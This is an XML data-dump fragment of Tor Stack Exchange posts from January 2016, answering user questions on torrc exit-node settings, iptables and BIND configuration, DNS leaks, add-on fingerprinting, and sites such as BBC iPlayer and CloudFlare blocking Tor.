  <row Id="9376" PostTypeId="2" ParentId="9371" CreationDate="2016-01-06T18:31:18.873" Score="2" Body="&lt;p&gt;The occurences in &lt;code&gt;torrc&lt;/code&gt; are to :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bind SOCKS listener to port 9100 on address 192.168.0.1 via &lt;code&gt;SOCKSPort 192.168.0.1:9100&lt;/code&gt; directive&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Allow connections from 192.168.0.0/16 subnet to the SOCKS proxy via &lt;code&gt;SOCKSPolicy accept 192.168.0.0/16&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem you're experiencing is that INSIDE a Wi-Fi network devices can't talk to the Raspberry Pi, i.e. the apps running on it. It's a firewall trouble and it has completely no link with Tor itself. If you're using IPTables, use them to fix it : &lt;code&gt;iptables -A INPUT -s 192.168.0.0/16 -j ACCEPT&lt;/code&gt; insert it BEFORE diverting rule. Also you may need to correct your diverting rule to not wrap-up everything, but only all not destinating to your local network(s), but just one ACCEPT rule should be fine if you don't have a complex firewall setup. Post your &lt;code&gt;iptables --list&lt;/code&gt; or/and &lt;code&gt;iptables --all --list&lt;/code&gt; here if you will have any further problems&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-06T18:31:18.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9378" PostTypeId="2" ParentId="9178" CreationDate="2016-01-06T18:36:21.597" Score="0" Body="&lt;p&gt;Actually, no. Because even the countries that officially are not blockin Tor are often trying to play bad things with it, like Russia I'm currently living in...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-06T18:36:21.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9379" PostTypeId="2" ParentId="6855" CreationDate="2016-01-06T18:58:53.477" Score="1" Body="&lt;p&gt;Use &lt;code&gt;TrackHostExits firstsite.com,secondsite.com&lt;/code&gt; and &lt;code&gt;NoIsolateDestAddr&lt;/code&gt; SocksPort options. It should keep your address AND don't separate the requests coming to the different addresses&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-06T18:58:53.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9380" PostTypeId="2" ParentId="9330" CreationDate="2016-01-06T19:46:55.950" Score="1" Body="&lt;p&gt;It seems that you're using an exit node that was tagged as a &quot;dealing bot traffic&quot; one. The problem lies deep in tor exit node setup guide. The guide says that you should expose the fact, that you're running an exit node via info page on port 80 and so forth &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-relay-debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;states clear :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;9&quot;&gt;&#xA;  &lt;li&gt;If you run an exit relay (great!), don't miss out on our Exit Guidelines, including setting your reverse DNS hostname to make it obvious that you're a Tor exit relay, and serving the Tor exit notice page on your DirPort.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In My Humble Opinion this is wrong : it makes censorship supporter's tasks easy to perform. Try to use another exit nodes.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-06T19:46:55.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9383" PostTypeId="1" AcceptedAnswerId="9384" CreationDate="2016-01-07T09:39:55.183" Score="1" ViewCount="160" Body="&lt;p&gt;I know I am not supposed to log into accounts that I ever used before without Tor since then I will give up my anonymity for the website. However, what happens afterwards? If I then visit another website, will it also be able to know it's me or am I anonymous again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this question has probably been asked here before, but the closest answer I could find was the first one in &lt;a href=&quot;https://tor.stackexchange.com/questions/826/can-i-use-my-personal-account-of-facebook-hotmail-gmail-in-tbb/827#827&quot; title=&quot;this&quot;&gt;this&lt;/a&gt; question. It states that after having logged into for example facebook, all sites with a facebook-button will be able to recognize me. But what about the one's without a facebook-button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also sorry if this question might seem a little stupid, I am new to Tor and I am still figuring things out!&lt;/p&gt;&#xA;" OwnerUserId="10417" LastActivityDate="2016-01-07T12:33:28.940" Title="consequences after having logged into a non-tor account" Tags="|tor-browser-bundle|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9384" PostTypeId="2" ParentId="9383" CreationDate="2016-01-07T12:33:28.940" Score="2" Body="&lt;p&gt;Sites without a facebook button would not know who you are. Logging into your real life accounts is bad because it may reveal you to someone who is listening in on the exit node, so the main concert is mainly other adversaries who may be in the middle.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2016-01-07T12:33:28.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9385" PostTypeId="1" AcceptedAnswerId="9396" CreationDate="2016-01-08T00:53:02.230" Score="1" ViewCount="55" Body="&lt;p&gt;I ask because that would be a bad info leak and could be used to identify someone uniquely instead of just a Tor user in a sea of Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On that note, can I spoof them or hide them if the answer is yes?&lt;/p&gt;&#xA;" OwnerUserId="10413" LastActivityDate="2016-01-08T20:48:56.330" Title="Are FF add-ons visible through Tor?" Tags="|firefox|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9386" PostTypeId="2" ParentId="9330" CreationDate="2016-01-08T11:16:51.360" Score="1" Body="&lt;p&gt;CloudFlare is blocking most (or all?) Tor Exit node for everyone having enabled even on the most minimal security setting. Only if this setting is completely switched off CloudFlare won't show that CAPTCHA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since many websites use the CloudFlare these days you will be presented this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to contact either the website owner or CloudFlare to complain about this. Website owners may not have any intention and only left CloudFlare on default settings. They could switch it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the security benefit is too big. Either your website is insecure and someone will exploit it, maybe simply without Tor or connecting through a VPN or your website is secure and the CAPTCHA only annoys people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also even with security settings completely disabled all the requests will still go through CloudFlare, which may prevent certain DOS-attacks. So that benefit remains to website owners. Maybe they should be informed.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2016-01-08T11:16:51.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9387" PostTypeId="2" ParentId="9385" CreationDate="2016-01-08T11:22:13.747" Score="1" Body="&lt;p&gt;It might be a good idea to just use the plain Tor Browser and not install future Add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How visible an add-on is greatly depends on the add-on itself. If it blocks ads then one will be able to see that you don't load ads, if it &quot;phones home&quot; then the IP might be the one from Tor (or not), but it still might create some kind of ID that is unique to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest not to use any Add-ons other than the ones installed on the Tor Browser per default. I don't think it really is possible to completely prevent any potential information leak of any Add-on out there.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2016-01-08T11:22:13.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9388" PostTypeId="2" ParentId="9152" CreationDate="2016-01-08T11:38:07.583" Score="1" Body="&lt;p&gt;You could run TorDNSEL and cache the DNS information locally. That will allow you to only have to check once. Another thing is that you could simply download the consensus form any directory mirror. This will give you precise information that you can build a lookup table upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also is Onionoo. You could create a cron job or something in your application that does regularly fetch a list of Tor Exit nodes and then populate an in-memory lookup table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://onionoo.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://onionoo.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a list of exits you can use: &lt;code&gt;curl &quot;https://onionoo.torproject.org/summary?flag=exit&quot;&lt;/code&gt;. From that you can sort out which ones are running and then you have a concise, up to date list.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2016-01-08T11:38:07.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9389" PostTypeId="2" ParentId="6266" CreationDate="2016-01-08T11:47:52.753" Score="1" Body="&lt;p&gt;The current Tor Browser doesn't really support this. The best workaround would probably be to somehow start multiple instances of Tor and connect through them. You could run multiple Tor instances with their own data directories, specifying different ports and then open up multiple browsers to proxy through the individual ports.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2016-01-08T11:47:52.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9390" PostTypeId="1" CreationDate="2016-01-08T13:26:24.100" Score="0" ViewCount="927" Body="&lt;p&gt;After upgrade to newest version of tor (5.0.7) and flash (20.0.0.267) flash player is not working on specific site (vk.com) on another sites it's works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On vk.com flash is not even launching, no any indicator as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please help me?&lt;/p&gt;&#xA;" OwnerUserId="10428" LastActivityDate="2016-05-13T14:33:37.450" Title="Flash is not working under TOR and vk.com" Tags="|flash|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-23T11:51:35.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="9392" PostTypeId="1" CreationDate="2016-01-08T16:01:46.880" Score="12" ViewCount="25501" Body="&lt;p&gt;How do I change the exit node country for TorBrowser on Mac OS X? I can't find a file called &quot;torrc&quot; on my Mac.&lt;/p&gt;&#xA;" OwnerUserId="10431" LastEditorUserId="-1" LastEditDate="2016-06-16T21:58:38.913" LastActivityDate="2021-06-11T11:24:09.750" Title="How to change country in Mac OS X?" Tags="|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9394" PostTypeId="2" ParentId="9392" CreationDate="2016-01-08T19:36:54.813" Score="8" Body="&lt;p&gt;Try to take a look at Settings-&gt;Advanced, it appears to be in Applications/TorBrowser_en-US/Library/Vidalia/torrc and add this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;StrictNodes 1&#xA;GeoIPExcludeUnknown 1&#xA;AllowSingleHopCircuits 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-08T19:36:54.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9395" PostTypeId="2" ParentId="906" CreationDate="2016-01-08T20:01:22.743" Score="7" Body="&lt;p&gt;Actually you need to run Tor as a router, only then you'll never leak a DNS info, but there's also a trick with persistent cookies: if you've visited some sites from your PC before going through Tor or logged into your impersonated profile - it can be used in metadata processing to deanonymize you even if you're behind a Tor router.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-08T20:01:22.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9396" PostTypeId="2" ParentId="9385" CreationDate="2016-01-08T20:48:56.330" Score="0" Body="&lt;p&gt;You can spoof them, yes. And - there's no problem in detecting add-ons in the Firefox bundled in TBB. It's a regular case, and if you're using TBB instance of FF it's more than detectable, actually. It's because of the fact, that it LTS-like version, not an ordinary FF. It states lower version, but due to the fact, that many patches were backported to it in it's development cycle, it does not have some bugs usual for an old version it states. So - it's pretty clear that you're using TBB FF, elaborating some JS tests, for example.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-08T20:48:56.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9397" PostTypeId="2" ParentId="9390" CreationDate="2016-01-08T21:38:39.090" Score="0" Body="&lt;p&gt;Press F12 and take a look for errors. And keep in mind that VK.com is working properly in full scale ONLY if you're using Tor as a router for a whole machine. Confirmed it with Android and PC versions&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-08T21:38:39.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9398" PostTypeId="1" CreationDate="2016-01-08T23:32:18.020" Score="1" ViewCount="25" Body="&lt;p&gt;I've read that the way wifi works is that your computer sends out requests looking for any wifi it recognizes. I use a mac spoofer but if there is a wifi in range before i have time to spoof my mac address, will the wifi be able to see my mac address?&lt;/p&gt;&#xA;" OwnerUserId="10009" LastActivityDate="2016-01-08T23:32:18.020" Title="can wifi detect you even when you arn't detected" Tags="|mac|spoofing|" AnswerCount="0" CommentCount="2" ClosedDate="2016-01-10T00:15:18.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="9399" PostTypeId="1" CreationDate="2016-01-09T13:26:07.407" Score="0" ViewCount="2289" Body="&lt;p&gt;Getting error 'updatedriverforplugandplaydevice()' after creating tortilla.exe from tortilla.sln&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HQq3W.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HQq3W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10267" LastEditorUserId="88" LastEditDate="2016-04-08T20:01:06.517" LastActivityDate="2019-04-17T14:38:31.847" Title="How to solve this driver error when installing tortilla adapter on windows 8?" Tags="|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9400" PostTypeId="2" ParentId="9399" CreationDate="2016-01-09T13:40:56.367" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/CrowdStrike/Tortilla/issues/5&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; thread would suggest that you need to be running as admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, try following the parts of the &lt;a href=&quot;https://github.com/CrowdStrike/Tortilla/blob/master/README.txt&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt; that explain how to enable support for test-signed drivers.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-09T13:40:56.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9403" PostTypeId="2" ParentId="9392" CreationDate="2016-01-09T17:29:33.787" Score="8" Body="&lt;p&gt;There's an &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#torrc&quot; rel=&quot;noreferrer&quot;&gt;entry&lt;/a&gt; in the Tor FAQ that has a few more details on where to find the &lt;code&gt;torrc&lt;/code&gt; file on different platforms.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you installed Tor Browser, look for&#xA;  Browser/TorBrowser/Data/Tor/torrc inside your Tor Browser directory.&#xA;  On OS X, you must right-click or command-click on the Tor Browser&#xA;  icon, and select &quot;Show Package Contents&quot; before the Tor Browser&#xA;  directories become visible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is no longer the location.  It was a problem to have one torrc for all users.  So now (version 6.0.5) it is at&lt;br/&gt;~/Library/Application\ Support/TorBrowser-Data/Tor/torrc&lt;br/&gt;There is still one inside the app, but it is apparently ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add to what Alexey said, the FAQ entry detailing further node-related config is &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, and the official list of 2-letter country codes can be found on Wikipedia, &lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. (Substitute one of these for the &lt;code&gt;us&lt;/code&gt; mentioned in Alexey's response.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="7011" LastEditDate="2016-10-24T06:11:47.750" LastActivityDate="2016-10-24T06:11:47.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9405" PostTypeId="1" CreationDate="2016-01-10T11:01:07.790" Score="1" ViewCount="5655" Body="&lt;p&gt;&lt;strong&gt;BBC iPlayer&lt;/strong&gt; content can be watched in UK only. I added this to &lt;em&gt;torrc&lt;/em&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {gb}&#xA;StrictNodes 1&#xA;GeoIPExcludeUnknown 1&#xA;AllowSingleHopCircuits 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I check my IP it always locates it in UK, but still I can't watch BBC iPlayer content - it says I'm not in UK. Can it be resolved?&lt;/p&gt;&#xA;" OwnerUserId="10432" LastEditorUserId="10432" LastEditDate="2016-01-10T11:14:37.580" LastActivityDate="2021-03-15T15:32:02.760" Title="Can't watch BBC iPlayer content despite UK IP" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9406" PostTypeId="2" ParentId="9405" CreationDate="2016-01-10T11:48:32.890" Score="1" Body="&lt;p&gt;The BBC actively tracks incoming connections from Tor users by monitoring for IP addresses from known Tor (exit) relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is an excerpt of a &lt;a href=&quot;http://forums.theregister.co.uk/forum/1/2014/09/24/phuzz_iPlayer_blocking_tor_relays/#c_2472850&quot; rel=&quot;nofollow&quot;&gt;response&lt;/a&gt; from BBC customer support. It's a year old, but if they were tracking and blocking things back then, it's highly likely they still will be now. (January 2016.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dear Mr ....&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Reference ....&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thanks for contacting the BBC iPlayer Support Team.  I'm sorry for the&#xA;  delay in replying. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Although it's been a while since you contacted us, I want to reassure&#xA;  you  that we did read your contact shortly after it was received. We&#xA;  check all  the contacts sent to iPlayer support every morning, and if&#xA;  we spot a  potential fault we'll escalate for further investigation.&#xA;  We understand  you are encountering issues accessing BBC iPlayer. We&#xA;  sent this across  to our technical team for further investigation and&#xA;  they have stated  that there is evidence this IP is a Tor. No changes&#xA;  will be made at  this time to this IP. You will need to stop using a&#xA;  Tor network so we  can verify that you are in the UK and you will then&#xA;  be able to access  iPlayer services.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;....&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;At present, Tor nodes are classed as proxies, regardless of whether or&#xA;  not they are an exit node. We are working to differentiating Tor exit &#xA;  nodes from non-exit relays, to allow us to block exit nodes only.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And... There are more recent &lt;a href=&quot;https://torrentfreak.com/bbc-iplayer-blocks-uk-vpn-servers-over-piracy-concerns-151016/&quot; rel=&quot;nofollow&quot;&gt;news stories&lt;/a&gt; detailing how the BBC is blocking connections from &lt;em&gt;any&lt;/em&gt; UK-based proxy, including VPNs, the aim being to ensure only people based in the UK who pay the licence fee (i.e. the money used to fund the BBC) can connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the &quot;You are not in the UK&quot; message is the stock message they serve to people they believe are connecting from proxies.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-02-07T18:05:46.423" LastActivityDate="2016-02-07T18:05:46.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9409" PostTypeId="1" CreationDate="2016-01-10T23:02:50.457" Score="2" ViewCount="100" Body="&lt;p&gt;What is the recommended way to use Tor when I don't need anonymity myself, but want to help increase the anonymity of the whole network so that others can benefit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure I can express my question properly, so let me explain the thinking. There are many guidelines what to do and what not to do in order to remain anonymous. For example, users should not login to Google while using Tor because then the other traffic can be linked to it, compromising anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, it seems to me that the whole Tor network becomes more anonymous if there is as much &quot;normal&quot; traffic as possible. So should users like me (who are personally not bothered about anonymity) follow different recommendations and use Tor for as much normal activity as possible, to make it easier for others to hide? Or is that not wanted because it wastes resources but doesn't help anybody?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't really find any guidelines for users who just want to increase the overall network anonymity but &lt;em&gt;don't&lt;/em&gt; need anonymity themselves personally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I already run a relay without problems, can also recommend it as a way to support the Tor. So I don't need help with setup, just clarification about my own client usage and how it affects the anonymity of others.&lt;/p&gt;&#xA;" OwnerUserId="10398" LastEditorUserId="10398" LastEditDate="2016-01-11T19:32:46.947" LastActivityDate="2016-01-11T22:12:16.500" Title="Usage if I don't need anonymity but want to help others?" Tags="|anonymity|client|outreach|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9410" PostTypeId="1" CreationDate="2016-01-10T23:29:42.323" Score="1" ViewCount="67" Body="&lt;p&gt;I am using Tor in Tails 1.8.1.  I am attempting to upgrade online to 1.8.2 yet I'm noticing that the Tor onion status logo is green yet it has a white bar at the bottom of it.  I've seen this before and I ignored it.  I am not using Window camo, rather the default GUI. Strangely enough there doesn't seem to be any answers to this online.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2016-01-10T23:29:42.323" Title="White Bar Under Tor Status Onion Icon?" Tags="|onion-routing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9411" PostTypeId="2" ParentId="4960" CreationDate="2016-01-11T01:32:30.240" Score="0" Body="&lt;p&gt;It will not change the anonymity in case of &lt;em&gt;persistent cookies&lt;/em&gt; like Evercookie. If a simpliest or too straightforward tracking is used - then an answer is &lt;strong&gt;Yes&lt;/strong&gt;, but it's hard to beleive, that if someone is &lt;strong&gt;doing the tracking&lt;/strong&gt; being so stupid about the tracking methods at the same time. Never underestimate your enemies&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-11T01:32:30.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9412" PostTypeId="2" ParentId="5979" CreationDate="2016-01-11T01:40:40.213" Score="2" Body="&lt;p&gt;Use Virtualbox with USB Wi-Fi dongle. Your host(Windows) will go to the Internet directly, and the Linux VM will be routed through it(NAT or bridge) - and USB 2.0(not 3.0 !) will be a mapping forwarding of USB dongle to VM and via hostapd you will securely do the trick. It is the simpliest &lt;em&gt;secure&lt;/em&gt; way to do this.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-11T01:40:40.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9413" PostTypeId="2" ParentId="9409" CreationDate="2016-01-11T01:46:33.833" Score="0" Body="&lt;p&gt;You should run a relay then! Use an open and permissive ExitPolicy, what are your host OS, hardware, ISP connection speed, do you have a static IP? Let's do it step-by-step here? post a reply - I'll guide you step-by-step if you wish&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-11T01:46:33.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9414" PostTypeId="2" ParentId="7477" CreationDate="2016-01-11T05:02:40.120" Score="0" Body="&lt;p&gt;It does not. Tor itself JUST OFFERS you an option in using DNS protocol. Install BIND and make it resolve ONLY dot-onion domains via Tor, but do a full lookup from root servers otherwise. like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zone &quot;.&quot; {&#xA;    type hint;&#xA;    file &quot;/etc/bind/db.root&quot;;&#xA;};&#xA;&#xA;// be authoritative for the localhost forward and reverse zones, and for&#xA;// broadcast zones as per RFC 1912&#xA;&#xA;zone &quot;localhost&quot; {&#xA;    type master;&#xA;    file &quot;/etc/bind/db.local&quot;;&#xA;};&#xA;&#xA;zone &quot;127.in-addr.arpa&quot; {&#xA;    type master;&#xA;    file &quot;/etc/bind/db.127&quot;;&#xA;};&#xA;&#xA;zone &quot;0.in-addr.arpa&quot; {&#xA;    type master;&#xA;    file &quot;/etc/bind/db.0&quot;;&#xA;};&#xA;&#xA;zone &quot;255.in-addr.arpa&quot; {&#xA;    type master;&#xA;    file &quot;/etc/bind/db.255&quot;;&#xA;};&#xA;&#xA;zone &quot;onion&quot; {&#xA;type forward;&#xA;forward only;&#xA;forwarders {&#xA;    127.0.0.2;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and - of course - use NO forwarders in your &lt;em&gt;options&lt;/em&gt; clause :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dnssec-enable yes;&#xA;dnssec-validation yes;&#xA;dnssec-must-be-secure onion no;&#xA;edns-udp-size 512;&#xA;max-udp-size 512;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-11T05:02:40.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9415" PostTypeId="1" AcceptedAnswerId="9417" CreationDate="2016-01-11T07:05:15.087" Score="-2" ViewCount="2214" Body="&lt;p&gt;i just want to know if the browsing history of Tor browser being detected at the firewall of the domain ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example , i at the office and i connect to internet using tor browser.. my work station is connected to the company's domain, is my browsing history traceable (see) by the system administrator who's handling the firewall?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9628" LastActivityDate="2016-01-11T07:52:38.243" Title="Tor browser browsing history" Tags="|tor-browser-bundle|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9417" PostTypeId="2" ParentId="9415" CreationDate="2016-01-11T07:52:38.243" Score="1" Body="&lt;p&gt;No, it's not, because he can't decipher your Tor connections &lt;strong&gt;on firewall&lt;/strong&gt;. However it does not prevents him from installing spyware on enpoint machines &quot;to trace things down&quot;. But you can be safely ensured that there's NO trace possible on firewall logs alone: your browsing history from properly configured Tor can not be there.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-11T07:52:38.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9418" PostTypeId="2" ParentId="3596" CreationDate="2016-01-11T07:57:51.460" Score="0" Body="&lt;p&gt;Just DNS leaks can compromise you now : make sure that no dot-onion DNS resolve will reach your upstream DNS servers&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-11T07:57:51.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9419" PostTypeId="2" ParentId="1503" CreationDate="2016-01-11T08:09:55.300" Score="0" Body="&lt;p&gt;I'm using BIND tuned up for forwarding all the dot-onion to Tor DNS resolver+binder and all the rest is resolved recursively without any forwarding. Works like a charm&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-11T08:09:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9420" PostTypeId="2" ParentId="5979" CreationDate="2016-01-11T10:22:06.590" Score="0" Body="&lt;p&gt;Simply use &lt;strong&gt;Tortilla&lt;/strong&gt; &lt;strong&gt;adapter&lt;/strong&gt; by the and tor community. New adapter will be installed along side. Two methods are available&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Executable&lt;/li&gt;&#xA;&lt;li&gt;Manually create the tortilla bundle adapter with the help of solution.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can follow build instruction from this git.&#xA;&lt;a href=&quot;https://github.com/CrowdStrike/Tortilla&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CrowdStrike/Tortilla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10267" LastActivityDate="2016-01-11T10:22:06.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9421" PostTypeId="2" ParentId="4471" CreationDate="2016-01-11T10:29:20.277" Score="1" Body="&lt;p&gt;Orweb is only concerned with the browser part, If orbot is on make sure that you've selected the 'Apps' option to pass the applications traffic through tor. From the additional setting you can manually select the applications list. And yes root is only needed if you want transparent proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cbk99.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cbk99.png&quot; alt=&quot;The second option&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10267" LastActivityDate="2016-01-11T10:29:20.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
